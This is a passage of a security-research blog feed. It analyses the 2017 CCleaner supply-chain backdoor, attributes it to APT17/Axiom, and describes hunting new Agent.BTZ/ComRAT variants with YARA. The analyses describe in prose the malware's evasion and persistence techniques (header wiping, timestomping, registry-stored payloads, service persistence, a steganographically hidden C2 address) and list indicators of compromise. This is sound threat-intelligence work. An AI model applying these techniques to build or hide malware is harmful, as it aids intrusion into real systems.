&lt;/ul&gt;</description></item><item><title>Evidence Aurora Operation Still Active Part 2: More Ties Uncovered Between CCleaner Hack &amp; Chinese Hackers</title><link>https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/</link><pubDate>Mon, 02 Oct 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/</guid><description>
&lt;p&gt;Since my
&lt;a href="../../../2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/"&gt;last post&lt;/a&gt;,
we have found new evidence in the next stage payloads of the CCleaner supply
chain attack that provide a stronger link between this attack and the Axiom
group.&lt;/p&gt;
&lt;p&gt;First of all, our researchers would like to thank the entire team at Cisco
Talos for their excellent work on this attack (their post regarding stage 2 can
be found
&lt;a href="http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html"target="_blank" rel="noopener"&gt;here&lt;/a&gt;) as
well as their cooperation by allowing us access to the stage 2 payload. Also,
we would like to give a special thanks to Kaspersky Labs for their
collaboration.&lt;/p&gt;
&lt;h2&gt;The Next Connection&lt;span class="hx:absolute hx:-mt-20" id="the-next-connection"&gt;&lt;/span&gt;
&lt;a href="#the-next-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Starting from the stage 2 payload, I reverse engineered the module, extracting
other hidden shellcode and binaries within. After uploading the different
binaries to Intezer Analyze™, the final payload (that I have access to) had a
match with a binary relating to the Axiom group.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;At first glance, I believed it was going to be the same custom base64 function
as mentioned in my
&lt;a href="../../../2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/"&gt;previous blog post&lt;/a&gt;.
A deeper look in the shared code proved otherwise.&lt;/p&gt;
&lt;p&gt;Binary in screenshot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Related APT17 samples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig2.jpg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Not only did the first payload have shared code between the Axiom group and
CCBkdr, but the second did as well. The above photo shows the same function
between two binaries. Let me put this into better context for you: out of all
the billions and billions of pieces of code (both trusted and malicious)
contained in the Intezer Code Genome Database, we found this code in only these
APTs. It is also worth noting that this isn’t a standard method one would use
to call an API. The attacker used the simple technique of employing an array to
hide a string from being in clear sight of those analyzing the binary (although
to those who are more experienced, it is obvious) and remain undetected from
antivirus signatures. The author probably copied and pasted the code, which is
what often happens to avoid duplicative efforts: rewriting the same code for
the same functionality twice.&lt;/p&gt;
&lt;p&gt;Due to the uniqueness of the shared code, we strongly concluded that the code
was written by the same attacker.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The stage two payload that was analyzed in this report (dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83), after launching the infected version of CCleaner, was dropped to only a selective group of targets, as reported by Talos. Although there is an x64 version, the following analysis will only include the x86 version because they are nearly identical. I will not be going too far in depth as full comprehension of the technical analysis will require an understanding of reverse engineering.&lt;/p&gt;
&lt;p&gt;Instead of using the typical API (VirtualAlloc) to allocate memory, the attackers allocated memory on the heap using LocalAlloc, and then copied a compressed payload to the allocated memory.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It looks like the attackers used version 1.1.4 of zlib to decompress the payload into this allocated memory region.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Depending on if you’re running x86 or x64 Windows, it will drop a different module. (32-bit &lt;code&gt;07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902&lt;/code&gt;, 64-bit &lt;code&gt;128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f&lt;/code&gt;) Both modules are actually legitimate software with additional code and a modified execution flow.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The last modified time on the modules is changed to match that of the msvcrt.dll that is located in your system32 folder–a technique to stay under the radar by not being able to check last modified files.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Some shellcode and another module are written to the registry.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After the module is successfully dropped, a service is created under the name Spooler or SessionEnv, depending upon your environment, which then loads the newly dropped module.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig9.png" alt="" loading="lazy" /&gt;
The new module being run by the service allocates memory, reads the registry where the other payload is located, and then copies it to memory
&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig10.png" alt="" loading="lazy" /&gt;
&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The next payload is executed, which decrypts another module and loads it. If we look at the memory of the next decrypted payload, we can see something that looks like a PE header without the MZ signature. From here, it is as simple as modifying the first two bytes to represent MZ and we have a valid PE file. (&lt;code&gt;f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The next module is a essentially another backdoor that connects to a few domains; before revealing the true IP, it will connect to for the next stage payload.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It starts by ensuring it receives the correct response from &lt;a href="https://www.microsoft.com"target="_blank" rel="noopener"&gt;https://www.microsoft.com&lt;/a&gt; and &lt;a href="https://update.microsoft.com"target="_blank" rel="noopener"&gt;https://update.microsoft.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware proceeds to decrypt two more URLs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig15.png" alt="" loading="lazy" /&gt;
&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig16.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware authors used steganography to store the IP address in a ptoken field of the HTML.&lt;/p&gt;
&lt;p&gt;Here you can see the GitHub page with the ptoken field.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The value is then XOR decrypted by &lt;code&gt;0x31415926&lt;/code&gt; which gives you &lt;code&gt;0x5A093B0D&lt;/code&gt; or the IP address: &lt;code&gt;13.59.9.90&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The complexity and quality of this particular attack has led our team to conclude that it was most likely state-sponsored. Considering this new evidence, the malware can be attributed to the Axiom group due to both the nature of the attack itself and the specific code reuse throughout that our technology was able to uncover.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Stage 2 Payload: dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83
x86 Trojanized Binary: 07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902
x86 Registry Payload: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a
x64 Trojanized Binary: 128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f
x64 Registry Payload: 75eaa1889dbc93f11544cf3e40e3b9342b81b1678af5d83026496ee6a1b2ef79
Registry Keys:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�01
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�02
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�03
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�04
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\HBP&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner</title><link>https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/</link><pubDate>Wed, 20 Sep 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/</guid><description>
&lt;p&gt;Recently, there have been a few attacks with a supply chain infection, such as
&lt;a href="https://securelist.com/shadowpad-in-corporate-networks/81432/"target="_blank" rel="noopener"&gt;Shadowpad&lt;/a&gt;
being implanted in many of Netsarang’s products, affecting millions of people.
You may have the most up to date cyber security software, but when the software
you are trusting to keep you protected gets infected there is a problem. A
backdoor, inserted into legitimate code by a third party with malicious intent,
leads to millions of people being hacked and their information stolen.&lt;/p&gt;
&lt;p&gt;Avast’s CCleaner software had a backdoor encoded into it by someone who had
access to the supply chain. Through somewhere that had access to the source
code of CCleaner, the main executable in v5.33.6162 had been modified to
include a backdoor. The official statement from Avast can be found
&lt;a href="https://blog.avast.com/update-to-the-ccleaner-5.33.6162-security-incident"target="_blank" rel="noopener"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;The Big Connection&lt;span class="hx:absolute hx:-mt-20" id="the-big-connection"&gt;&lt;/span&gt;
&lt;a href="#the-big-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Costin Raiu, director of Global Research and Analysis Team at Kaspersky Lab,
was the first to find a code connection between APT17 and the backdoor in the
infected CCleaner:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The malware injected into #CCleaner has shared code with several tools used
by one of the APT groups from the #Axiom APT &amp;lsquo;umbrella&amp;rsquo;.&lt;/p&gt;
&lt;p&gt;— Costin Raiu (@craiu)
&lt;a href="https://x.com/craiu/status/910059453948579840?ref_src=twsrc%5Etfw"target="_blank" rel="noopener"&gt;September 19, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using Intezer Analyze™, we were able to verify the shared code between the
backdoor implanted in CCleaner and earlier APT17 samples. The photo below is
the result of uploading the CCBkdr module to Intezer Analyze™, where the
results show there is an overlap in code. With our technology, we can compare
code to a huge database of malicious and trusted software — that’s how we can
prove that this code has never been seen before in any other software.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;A deeper analysis leads us to the functions shown below. The code in question
is a unique implementation of base64 only previously seen in APT17 and not in
any public repository, which makes a strong case about attribution to the same
threat actor.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig2.jpg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This code connection is huge news. APT17, also known as
&lt;a href="../../../2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/"&gt;Operation Aurora&lt;/a&gt;,
is one of the most sophisticated cyber attacks ever conducted and they
specialize in supply chain attacks. In this case, they probably were able to
hack CCleaner’s build server in order to plant this malware. Operation Aurora
started in 2009 and to see the same threat actor still active in 2017 could
possibly mean there are many other supply chain attacks by the same group that
we are not aware of. The previous attacks are attributed to a Chinese group
called PLA Unit 61398.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The infected CCleaner file that begins the analysis is from
&lt;code&gt;6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A technical analysis was posted by Talos
&lt;a href="http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The flow-graph of the malicious CCleaner is as follows (taken from the Talos
report):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Infected function:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig4.png" title="Infected function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Infected function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Load and execute the payload code:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig5.png" title="Load and execute the payload code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Load and execute the payload code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After the embedded code is decrypted and executed, the next step is a PE
(portable executable) file loader. A PE file loader basically emulates the
process of what happens when you load an executable file on Windows. Data is
read from the PE header, from a module created by the malware author.&lt;/p&gt;
&lt;p&gt;The PE loader first begins by resolving the addresses of imports commonly used
by loaders and calling them. GetProcAddress to get the addresses of external
necessary functions, LoadLibraryA to load necessary modules into memory and get
the address of the location of the module in memory, VirtualAlloc to create
memory for somewhere to copy the memory, and in some cases, when not
implemented, and memcpy to copy the buffer to the newly allocated memory
region.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig6.png" title="The PE loader" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The PE loader&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After the module is copied to memory, to load it properly, the proper loading
procedure is executed. The relocation table is read to adjust the module to the
base address of the allocated memory region, the import table is read, the
necessary libraries are loaded, and the import address table is filled with the
correct addresses of the imports. Next, the entire PE header is overwritten
with 0’s, a mechanism to destroy the PE header tricking security software into
not realizing this module is malicious, and after the malicious code begins
execution.&lt;/p&gt;
&lt;p&gt;The main module does the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Tries an anti-debug technique using time and IcmpSendEcho to wait&lt;/li&gt;
&lt;li&gt;Collect data about the computer (Operating system, computer name, DNS
domain, running processes, etc)&lt;/li&gt;
&lt;li&gt;Allocates memory for payload to retrieve from C&amp;amp;C server&lt;/li&gt;
&lt;li&gt;Contacts C&amp;amp;C server at IP address &lt;code&gt;216.126.225.148&lt;/code&gt;. If this IP address is
unreachable, uses a domain generation algorithm and uses a different domain
depending on the month and year&lt;/li&gt;
&lt;li&gt;Executes code sent by C&amp;amp;C&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;By the time of the analysis, we were unable to get our hands on the code sent
by the C&amp;amp;Cs.&lt;/p&gt;
&lt;p&gt;If you would like to analyze the malware yourself, you may refer to my tweet.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#ccleaner malware DLL w/ IAT fix &lt;a href="https://t.co/FprmtmkV64"target="_blank" rel="noopener"&gt;https://t.co/FprmtmkV64&lt;/a&gt;
&lt;a href="https://t.co/dgWiQVd31k"target="_blank" rel="noopener"&gt;https://t.co/dgWiQVd31k&lt;/a&gt; @TalosSecurity @malwrhunterteam
pic.twitter.com/TxsbveFoHJ&lt;/p&gt;
&lt;p&gt;— Jay Rosenberg (@jaytezer) September 18, 2017&lt;/p&gt;
&lt;/blockquote&gt;</description></item><item><title>New Variants of Agent.BTZ/ComRAT Found: The Threat That Hit The Pentagon In 2008 Still Evolving; Part 2/2</title><link>https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/</link><pubDate>Wed, 13 Sep 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/</guid><description>
&lt;p&gt;&lt;a href="../../../2017/08/new-variants-of-agent-btz-comrat-found/"&gt;Our previous blog&lt;/a&gt;
post was a short brief of new Agent.BTZ variants that we found. This second
part in the series will demonstrate in greater detail exactly how we discovered
these new variants.&lt;/p&gt;
&lt;h2&gt;Methodology&lt;span class="hx:absolute hx:-mt-20" id="methodology"&gt;&lt;/span&gt;
&lt;a href="#methodology" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;To begin, we used our hunting methodology, which consist of four main parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Collection: Collect multiple samples from different versions.&lt;/li&gt;
&lt;li&gt;Analysis: Mark functions that have stayed consistent across all versions that
are likely to be a part of the next version.&lt;/li&gt;
&lt;li&gt;Creating a signature: Create a robust yet flexible YARA rule for these
functions.&lt;/li&gt;
&lt;li&gt;Hunting: Search a large repository of files with that YARA rule (VirusTotal,
for example).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why focus on Agent.BTZ?&lt;span class="hx:absolute hx:-mt-20" id="why-focus-on-agentbtz"&gt;&lt;/span&gt;
&lt;a href="#why-focus-on-agentbtz" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We chose to focus on Agent.BTZ for several reasons: First, This is one of the
oldest state-sponsored threat, developed and operated by the Turla group since
(at least) 2007 for dozens of targeted attacks.&lt;/p&gt;
&lt;p&gt;Second, there is also a lot of public knowledge regarding
&lt;a href="../../../2017/08/new-variants-of-agent-btz-comrat-found/"&gt;Agent.BTZ&lt;/a&gt;
specifically and Turla group in general available online, including intel
reports, technical analyses and malware samples, which we used for our
research.&lt;/p&gt;
&lt;p&gt;Third is the fact that this specific malware has remained out of public view
for the last two to three years; however, we recognized that it wasn’t likely
to disappear–it has just continued to fly under the radar.&lt;/p&gt;
&lt;h2&gt;Do the math&lt;span class="hx:absolute hx:-mt-20" id="do-the-math"&gt;&lt;/span&gt;
&lt;a href="#do-the-math" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We based our research on an earlier publication from three years ago:
&amp;ldquo;Evolution of sophisticated spyware: from Agent.BTZ to ComRAT&amp;rdquo; by Paul
Rascagnères of GDATA (at the time). In this excellent blog post, Paul described
the evolution of Agent.BTZ to ComRAT between 2007-2014 by manually diffing
(BinDiff) two different candidates from each major internal hard-coded version
(referred by the authors as &amp;ldquo;Ch&amp;rdquo; or &amp;ldquo;PVer&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;The following table shows the code’s similarity between each version to its
direct neighbors. By summing up the data in this table we can conclude that, in
general, about ~30% of the original code has been used in every version up to
the latest known version as of 2014 (marked in red).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig1.png" title="https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Obviously this 30% isn’t comprised of totally unique code made by Agent.BTZ’s
developers; rather, it is a mixture made of mostly common code that can be
found in many more software products (both legit and malware). For example,
these could include C Runtime Library or any other 3rd party library such as
zlib. Using Intezer’s technology, we were able to do a ‘deep dive’ into this
code, automatically mapping all of the common, library and (most importantly)
unique pieces of code created by the malware’s authors.&lt;/p&gt;
&lt;h2&gt;Mysterious magic number&lt;span class="hx:absolute hx:-mt-20" id="mysterious-magic-number"&gt;&lt;/span&gt;
&lt;a href="#mysterious-magic-number" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After filtering out all of the common and library code, we were left with
several unique functions that can be found in every version of the malware
since 2007. The most prominent is the following function:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig2.png" title="Mysterious magic number" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Mysterious magic number&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In the picture you can see the two, almost identical functions from the first
version (Ch 1.0) on the right and the latest version (Ch 3.26) of Agent.BTZ on
the left. This function is initially reading first four bytes of a given file,
and then comparing them for the magic number 0xAAFF1290 (marked in red). If it
matches, the function will return true; otherwise, it is false.&lt;/p&gt;
&lt;p&gt;So, what is this magic number? Which file is it? We were actually unable to
find the function that creates this file within the same binary (ver 3.26). The
function shown above is the only reference to that magic number. Luckily, while
re-reading old ThreatExpert’s Agent.BTZ analysis from 2008 we happened to
notice the following paragraph:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig3.png" title="http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;So now we know that this function is used to verify thumb.dd files, which are
log/config files leaked over newly-connected USB drives (to overcome air-gapped
networks, like those of the Pentagon). But wait… why didn’t we found the
function which creates these files? Because the USB-infection vector was
removed few years earlier! &lt;strong&gt;And yet the adversary is still looking for these
valuable thumb.dd files…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Hunting for new variants&lt;span class="hx:absolute hx:-mt-20" id="hunting-for-new-variants"&gt;&lt;/span&gt;
&lt;a href="#hunting-for-new-variants" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;So far, we know that this function exists, and it has stayed consistent across
all versions of the malware; we know what it does (verify certain magic number)
and why (detect thumb.dd files leaked from internal network by older versions
of the malware). By that information, we can tell that it’s likely to be used
in future versions as well.&lt;/p&gt;
&lt;p&gt;The next step involves writing a dedicated YARA rule(see appendix) for that
specific function and searching for new samples. The rule has to be tolerant to
minor changes between versions (mainly due to different compilation flags).
Using the VirusTotal Intelligence service, we were able to scan about 2-3
months’ worth of file uploads. As soon as the scan finished, we dug into the
results and &lt;strong&gt;discovered this first new variant of Agent.BTZ that wasn’t yet
mentioned in any public report&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig5.png" title="A screenshot from the Intezer Analyze™ product displaying partial code connections between new sample to old samples of Agent.BTZ(Turla group)." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;A screenshot from the Intezer Analyze™ product displaying partial code connections between new sample to old samples of Agent.BTZ(Turla group).&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This
&lt;a href="https://www.virustotal.com/en/file/6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96/analysis/"target="_blank" rel="noopener"&gt;specific file&lt;/a&gt;
was supposedly compiled at 2016-07-13 (the timestamp was modified in some of
the earlier samples) and uploaded to VT 2017-05-11, which means that this
sample is at least two years newer than any previous sample.&lt;/p&gt;
&lt;h2&gt;Main differences between old(3.26) &amp;amp; new samples&lt;span class="hx:absolute hx:-mt-20" id="main-differences-between-old326--new-samples"&gt;&lt;/span&gt;
